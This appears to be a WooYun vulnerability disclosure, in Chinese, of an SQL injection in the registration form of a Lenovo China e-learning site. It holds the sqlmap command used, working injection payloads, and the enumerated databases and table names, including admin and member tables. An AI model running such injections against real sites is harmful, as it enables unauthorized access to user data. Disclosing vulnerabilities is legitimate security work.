WooYun.org

1、这个站前面的人2012年提交过了一次
WooYun: 联想中国某分站SQL注入高危漏洞
之前是登陆框处注入，这次是注册及找回密码处
2、注入点：e-learning.lenovo.com.cn/user/registration
C:\Python27\sqlmap>sqlmap.py -u http://e-learning.lenovo.com.cn/user/registratio
n --data RegistrationForm[group_id]=
POST parameter 'RegistrationForm[group_id]' is vulnerable. Do you want to keep t
esting the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 280 HTTP(s) req
uests:
---
Place: POST
Parameter: RegistrationForm[group_id]
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace (original value)
Payload: RegistrationForm[group_id]=(SELECT (CASE WHEN (3189=3189) THEN '' E
LSE 3189*(SELECT 3189 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE or HAVING clause
Payload: RegistrationForm[group_id]=-7111 OR (SELECT 3857 FROM(SELECT COUNT(
*),CONCAT(0x717a656171,(SELECT (CASE WHEN (3857=3857) THEN 1 ELSE 0 END)),0x7169
686271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: RegistrationForm[group_id]=-3594 OR 4291=SLEEP(5)
---
[20:26:08] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.0, PHP 5.2.14
back-end DBMS: MySQL 5.0
[20:26:08] [WARNING] HTTP error codes detected during run:
400 (Bad Request) - 17 times, 500 (Internal Server Error) - 265 times
[20:26:08] [INFO] fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\e-learning.lenovo.com.cn'
[*] shutting down at 20:26:08
3、数据库信息：
[20:29:09] [INFO] the SQL query used returns 2 entries
[20:29:10] [INFO] retrieved: information_schema
[20:29:10] [INFO] retrieved: lenovo
available databases [2]:
[*] information_schema
[*] lenovo
4、表信息太多了，不跑了
Database: lenovo
[197 tables]
+---------------------------------------+
| active |
| active_type |
| active_up |
| active_up_user |
| active_user |
| ad_manage |
| admin_log |
| admin_users |
| am_news |
| area |
| area_cost |
| area_credits |
| area_main |
| area_photo |
| area_suggest |
| area_teacher |
| ask |
| ask_answer |
| ask_comment |
| ask_good |
| ask_login_detail |
| ask_score_detail |
| ask_search_keyword |
| ask_too |
| ask_user_reply_detail |
| assessquarter |
| autumnsurvey11 |
| autumnsurvey12 |
| bao_click_record |
| bao_click_record_20110829 |
| bao_click_record_201112 |
| bao_click_record_20120117 |
| bao_history |
| bao_map |
| bao_q_record |
| bao_q_record_20110829 |
| bao_q_record_20120109 |
| bao_q_record_20120117 |
| bao_record |
| bao_record_20110829 |
| bao_record_20120109 |
| bao_record_20120117 |
| bao_session |
| bbs_elearning_groups |
| bind_record |
| cdb_access |
| cdb_activities |
| cdb_activityapplies |
| cdb_addons |
| cdb_adminactions |
| cdb_admincustom |
| cdb_admingroups |
| cdb_adminnotes |
| cdb_adminsessions |
| cdb_advertisements |
| cdb_announcements |
| cdb_assessment |
| cdb_assessment_2011q1 |
| cdb_attachmentfields |
| cdb_attachments |
| cdb_attachpaymentlog |
| cdb_attachtypes |
| cdb_banned |
| cdb_bbcodes |
| cdb_caches |
| cdb_creditslog |
| cdb_crons |
| cdb_debateposts |
| cdb_debates |
| cdb_failedlogins |
| cdb_faqs |
| cdb_favoriteforums |
| cdb_favorites |
| cdb_favoritethreads |
| cdb_feeds |
| cdb_forumfields |
| cdb_forumlinks |
| cdb_forumrecommend |
| cdb_forums |
| cdb_imagetypes |
| cdb_invites |
| cdb_itempool |
| cdb_magiclog |
| cdb_magicmarket |
| cdb_magics |
| cdb_medallog |
| cdb_medals |
| cdb_memberfields |
| cdb_membermagics |
| cdb_memberrecommend |
| cdb_members |
| cdb_memberspaces |
| cdb_moderators |
| cdb_modworks |
| cdb_mytasks |
| cdb_navs |
| cdb_onlinelist |
| cdb_onlinetime |
| cdb_orders |
| cdb_paymentlog |
| cdb_pluginhooks |
| cdb_plugins |
| cdb_pluginvars |
| cdb_polloptions |
| cdb_polls |
| cdb_postposition |
| cdb_posts |
| cdb_profilefields |
| cdb_projects |
| cdb_promotions |
| cdb_prompt |
| cdb_promptmsgs |
| cdb_prompttype |
| cdb_ranks |
| cdb_ratelog |
| cdb_regips |
| cdb_relatedthreads |
| cdb_reportlog |
| cdb_request |
| cdb_rewardlog |
| cdb_rsscaches |
| cdb_searchindex |
| cdb_sessions |
| cdb_settings |
| cdb_smilies |
| cdb_spacecaches |
| cdb_stats |
| cdb_statvars |
| cdb_styles |
| cdb_stylevars |
| cdb_tags |
| cdb_tasks |
| cdb_taskvars |
| cdb_templates |
| cdb_threads |
| cdb_threadsmod |
| cdb_threadtags |
| cdb_threadtypes |
| cdb_tradecomments |
| cdb_tradelog |
| cdb_tradeoptionvars |
| cdb_trades |
| cdb_typemodels |
| cdb_typeoptions |
| cdb_typeoptionvars |
| cdb_typevars |
| cdb_uc_admins |
| cdb_uc_applications |
| cdb_uc_badwords |
| cdb_uc_domains |
| cdb_uc_failedlogins |
| cdb_uc_feeds |
| cdb_uc_friends |
| cdb_uc_mailqueue |
| cdb_uc_memberfields |
| cdb_uc_members |
| cdb_uc_mergemembers |
| cdb_uc_newpm |
| cdb_uc_notelist |
| cdb_uc_pms |
| cdb_uc_protectedmembers |
| cdb_uc_settings |
| cdb_uc_sqlcache |
| cdb_uc_tags |
| cdb_uc_vars |
| cdb_usergroups |
| cdb_validating |
| cdb_warnings |
| cdb_words |
| cmamonthshop |
| contest |
| control |
| control_type |
| course |
| course_record |
| course_record_log |
| course_type |
| courseware |
| courseware_comment |
| courseware_detail |
| courseware_survey |
| datum |
| datum_sort |
| dealer |
| dict_card_lc |
| dict_card_lc_lstemp |
| dict_card_lz |
| dict_card_lz_lstemp |
| dict_card_user |
| dict_card_user_lstemp |
| dict_card_zd |
| dict_card_zd_lstemp |
| dict_shop |
| dict_shop_lstemp |
| dict_sys_user |
| dict_sys_user_lstemp |
| downfile |
+---------------------------------------+
Database: information_schema
[16 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+